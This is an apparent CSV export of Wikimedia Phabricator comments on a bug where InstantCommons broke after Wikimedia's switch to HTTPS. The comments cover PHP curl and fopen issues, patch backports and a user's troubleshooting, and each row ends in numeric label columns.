+			'url' => $wgSharedUploadPath,
+			'hashLevels' => $wgHashedSharedUploadDirectory ? 2 : 0,
+			'thumbScriptUrl' => $wgSharedThumbnailScriptPath,
+			'transformVia404' => !$wgGenerateThumbnailOnParse,
+			'descBaseUrl' => $wgRepositoryBaseUrl,
+			'fetchDescription' => $wgFetchCommonsDescriptions,
+		];
+	}
+}
+if ( $wgUseInstantCommons ) {
+	$wgForeignFileRepos[] = [
+		'class' => 'ForeignAPIRepo',
+		'name' => 'wikimediacommons',
+		'apibase' => 'https://commons.wikimedia.org/w/api.php',
+		'url' => 'https://upload.wikimedia.org/wikipedia/commons',
+		'thumbUrl' => 'https://upload.wikimedia.org/wikipedia/commons/thumb',
+		'hashLevels' => 2,
+		'transformVia404' => true,
+		'fetchDescription' => true,
+		'descriptionCacheExpiry' => 43200,
+		'apiThumbCacheExpiry' => 86400,
+	];
+}
+```",,,1467794207,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,52,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+689172,InstantCommons broken by switch to HTTPS,First steps when debugging InstantCommons issues are usually to check the `http` log channel and the value of `$wgLocalFileRepo` and `$wgForeignFileRepos`.,,,1467761190,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1
+688940,InstantCommons broken by switch to HTTPS,"Hello!
+
+I was looking for help in this topic about year ago because instantcommons stopped working in my wiki after switch to HTTPS. I was unable to detect the reason and solve this issue and there wasn't much time after that to deal with it more profoundly. About week ago I found out that the new LTS release 1.27 has come out and there were info that was big relief for me: 
+
+```
+InstantCommons made easier and cheaper
+InstantCommons will now truly work out of the box, as long as your users can connect to upload.wikimedia.org: thumbnails will be served from that domain instead of requiring local generation (gerrit:251556).
+```
+So I thought that finally my problem is solved if I only upgrade from 1.23.13 to 1.27.0. So I did but when this was done I had to conclude that nothing changed - thumbnails of commons images are not generated, only red links are shown that lead to upload page.
+
+Again I am asking the same question: do you have any ideas what's wrong?
+
+I have Mediawiki 1.27.0, curl installed.
+
+For example I have file c.jpg in my server. This is shown properly in my wiki when ImageMagick is off. When I turn ImageMagic on, then the thumbnail in my wiki is not thumbnail of my server file. Then it shows thumbnail of Commons file and when I click it, it leads to my wiki original file not to commons file. That's the only way I get anything from commons to appear in my wiki.
+
+Also when I ran maintenance scrip update.php after upgrading I got following error:
+
+
+```
+Failed to set the local repo temp zone container to be private.
+Purging caches...done.
+
+```
+
+Maybe I have made a very simple mistake for example in LocalSettings.php that is causing this error or have some wrong permissions and the solution is easier than expected? Anyway I would be very glad if someone could help me with resolving this issue, have tried several things but still no effort.",,,1467741158,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,52,True,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+559499,InstantCommons broken by switch to HTTPS,First victims https://www.mediawiki.org/w/index.php?title=Talk%3AInstantCommons&type=revision&diff=1934260&oldid=1697860,,,1446837309,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+558755,InstantCommons broken by switch to HTTPS,"Change 224557 merged by BBlack:
+HTTPS redirects: remove InstantCommons exception
+
+[[https://gerrit.wikimedia.org/r/224557]]",,,1446744201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+558736,InstantCommons broken by switch to HTTPS,"It's been over a week since the email, which ended up going out a bit later after the releases than expected anyways.  Merging the removal of the exception today!",,,1446741318,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,18,True,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+555650,InstantCommons broken by switch to HTTPS,">>! In T102566#1768664, @BBlack wrote:
+> I haven't followed the low-level details too hard, but I think most of those with problems are on older PHP installs and/or Windows?
+
+PHP without the cURL module (and not a very recent version - I wouldn't call 5.5 old) and/or Windows.
+
+php-curl is pretty basic functionality nowadays, I doubt there are many shared hosts not supporting it. And for installations where you have root, adding php-curl is very easy. I don't think we need to do anything further in MediaWiki proper, although a manual workaround (patch, configuration instructions or whatever) would be nice. There is some information at [[ https://www.mediawiki.org/wiki/InstantCommons#HTTPS | InstantCommons#HTTPS ]] already, I'll add a link to this bug.",,,1446235000,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,1,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+555397,InstantCommons broken by switch to HTTPS,">  This almost feels like trying to ship a bundled TCP/IP stack and set of ethernet hardware drivers with an application in the days of Trumpet Winsock :P
+
+Why not, remember we also provide wiki infrastructure to villages without electricity.",,,1446217760,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+555349,InstantCommons broken by switch to HTTPS,"It really shouldn't be hard for an OS/distribution/platform/language/whatever to have working TLS with a standard CA bundle these days.  This almost feels like trying to ship a bundled TCP/IP stack and set of ethernet hardware drivers with an application in the days of Trumpet Winsock :P  I haven't followed the low-level details too hard, but I think most of those with problems are on older PHP installs and/or Windows?",,,1446211999,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0
+555266,InstantCommons broken by switch to HTTPS,"Right, might be difficult due to the way OpenSSL usually wants to have certificates. Will try to figure out!",,,1446200434,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+555229,InstantCommons broken by switch to HTTPS,">>! In T102566#1761834, @saper wrote:
+> Question: wouldn't that be possible to ship the certificate as a parameter to `$wgForeignXXXRepos` and not depend on whatever is the installed curl default? It will be nightmare to track this down on every possible OS and distribution...
+
+The problem with that is that you cannot define a certificate bundle in any ""additive"" way, and we don't want to override the server default which might be restrictive (or non-restrictive) for a good reason. Providing it as a patch might be a good idea though (if you have one, feel free to add it to the task description).",,,1446184281,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,17,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+553791,InstantCommons broken by switch to HTTPS,Question: wouldn't that be possible to ship the certificate as a parameter to `$wgForeignXXXRepos` and not depend on whatever is the installed curl default? It will be nightmare to track this down on every possible OS and distribution...,,,1446042021,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+553383,InstantCommons broken by switch to HTTPS,[[ https://lists.wikimedia.org/pipermail/mediawiki-announce/2015-October/000183.html | Done. ]],,,1445982277,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+553313,InstantCommons broken by switch to HTTPS,">>! In T102566#1732320, @Tgr wrote:
+> Yes, a couple hours ago. We should write to mediawiki-announce, wait a week or so as a courtesy, and then drop Commons/uploads HTTP support.
+
+Can someone take on composing and sending this email?  I'm probably not the best person for it.",,,1445977792,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,16,True,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1
+547752,InstantCommons broken by switch to HTTPS,"Yes, a couple hours ago. We should write to mediawiki-announce, wait a week or so as a courtesy, and then drop Commons/uploads HTTP support.",,,1445040668,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+547734,InstantCommons broken by switch to HTTPS,^ Was the software released? We still haven't removed the exception itself...,,,1445035637,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0
+527686,InstantCommons broken by switch to HTTPS,">>! In T102566#1630396, @BBlack wrote:
+> So, now we're pending on merge of those 3 and a new sec release of those versions?
+
+Yerp. @csteipp and I are talking about getting a release out soon.",,,1442333513,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,1
+525656,InstantCommons broken by switch to HTTPS,I have added the point to the #releng weekly meeting on 2015-09-17.,,,1442007582,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+525416,InstantCommons broken by switch to HTTPS,"Bryan just merged them all, so just a new release (this probably does not count as a security issue, as `PhpHttpRequest` wasn't insecure before, it just did not work).",,,1441993967,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0
+525202,InstantCommons broken by switch to HTTPS,"So, now we're pending on merge of those 3 and a new sec release of those versions?",,,1441978656,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+524934,InstantCommons broken by switch to HTTPS,"Backports that still need merging (I tested them all):
+https://gerrit.wikimedia.org/r/#/q/Ibde59be61a5b3d7cd5397ba352dce9be11e1b06f,n,z
+https://gerrit.wikimedia.org/r/#/q/I9eba0f90935e25e2d07995f6181fa90b7d52ea55,n,z
+https://gerrit.wikimedia.org/r/#/q/Ibf552e22adc7fde4a751f92e92dad6ceba2f335c,n,z",,,1441933134,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0
+515695,InstantCommons broken by switch to HTTPS,"Both tasks have patches written by @Bawolff and tested by me, waiting for reviewers and +2.
+
+@BBlack: the good news is PHP 5.6 correctly speaks HTTPS without curl (SAN and CA repo), the nightmare is stopping :-/",,,1440669173,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0
+514849,InstantCommons broken by switch to HTTPS,Pinged both of those tasks.  I'm pretty much out of patience with waiting for PHP to suddenly become a less-horrible platform for making requests over the Internet.,,,1440592436,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+511493,InstantCommons broken by switch to HTTPS,"> Are there environments where curl is not available? (Shared hosting?)
+
+Yes. (According to users.)",,,1440063737,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+511273,InstantCommons broken by switch to HTTPS,"To answer myself, we log them in `api-feature-usage` but I have no idea how to tell curl vs. fopen from that. Curl uses `MediaWiki/<version>` and fopen uses whatever is configured in `php.ini`.",,,1440026110,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+511269,InstantCommons broken by switch to HTTPS,"Nothing apart from lack of reviewers, I think. I can review them in the next couple days, but that only makes sense if you are willing to wait for the next tarball so they can go out. It looks like fopen would be broken badly without these patches, but I have no idea if that is a big deal or not. Are there environments where curl is not available? (Shared hosting?) Do we maybe log user agents so we can tell whether PHP fopen is used frequently?",,,1440025694,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+511253,InstantCommons broken by switch to HTTPS,"Answering my own question: there's mw/core patches attached to both, last activity about a month ago, with comments indicating that they seem to test well.  Is there some unknown blocking them?",,,1440024565,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+511250,InstantCommons broken by switch to HTTPS,"@Tgr Do we have any immediate plans to fix those anyways, or a sane plan to fix them that would apply to the bulk of users?",,,1440024392,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,0,0,0
+511233,InstantCommons broken by switch to HTTPS,">>! In T102566#1548300, @Tau wrote:
+> Can this issue be fixed if I upgrade from 1.23.3 to 1.23.10?
+
+Possibly. You might be using an old branch where certain logging changes were not backported yet.
+
+@BBlack: there are two blocking tasks with unmerged patches, and they fix pretty serious issues with fopen. Do we know how many people use fopen vs. curl?",,,1440022971,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+510011,InstantCommons broken by switch to HTTPS,">>! In T102566#1541433, @Tgr wrote:
+> I'll just upload the correct files then: {F1496921}
+> 
+> {F1496922}
+
+I replaced old files with these files but still the log file is blank (tried changing user permissions and owners etc.).
+
+Can this issue be fixed if I upgrade from 1.23.3 to 1.23.10?",,,1439889183,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+509830,InstantCommons broken by switch to HTTPS,"So, I see new releases a week ago for 1.2[345] containing the InstantCommons fix.  Also, it's been about a month since the last time I complained about this issue.  I'm leaning towards merging https://gerrit.wikimedia.org/r/#/c/224557/ sometime this week, unless anyone else has objections.",,,1439846874,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+508700,InstantCommons broken by switch to HTTPS,"I'll just upload the correct files then: {F1496921}
+
+{F1496922}",,,1439589445,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+506529,InstantCommons broken by switch to HTTPS,"I saved [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/HttpFunctions.php | HttpFunctions.php ]] and [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/filerepo/ForeignAPIRepo.php | ForeignAPIRepo.php ]] as text files to my computer, then copied content from these files and replaced content in server files.
+
+Still have trouble with this patch:
+
+
+```
+/var/www/html/mediawiki$ curl -s 'https://github.com/wikimedia/mediawiki/commit/64446397925576210c50baedc77becb470df84e2.patch' | patch -p1
+patching file includes/HttpFunctions.php
+Hunk #2 FAILED at 75.
+1 out of 2 hunks FAILED -- saving rejects to file includes/HttpFunctions.php.rej
+patching file includes/filerepo/ForeignAPIRepo.php
+Hunk #2 FAILED at 523.
+1 out of 2 hunks FAILED -- saving rejects to file includes/filerepo/ForeignAPIRepo.php.rej
+```",,,1439360588,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+505006,InstantCommons broken by switch to HTTPS,"If you followed the instructions in https://www.howtoforge.com/how-to-install-mediawiki-on-ubuntu-14.04 exactly (ie. you are using MW 1.23.3), you can just copy it from [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/HttpFunctions.php | HttpFunctions.php ]] and [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/filerepo/ForeignAPIRepo.php | ForeignAPIRepo.php ]].",,,1439175700,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+503909,InstantCommons broken by switch to HTTPS,"Which is the easiest way to restore the files `includes/HttpFunctions.php` and `includes/filerepo/ForeignAPIRepo.php` to their original version if I don't have backup of them?
+
+",,,1438937136,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1,0
+503502,InstantCommons broken by switch to HTTPS,"Apparently git.wikimedia.org patch pages are HTML, not plaintext. How fun.
+
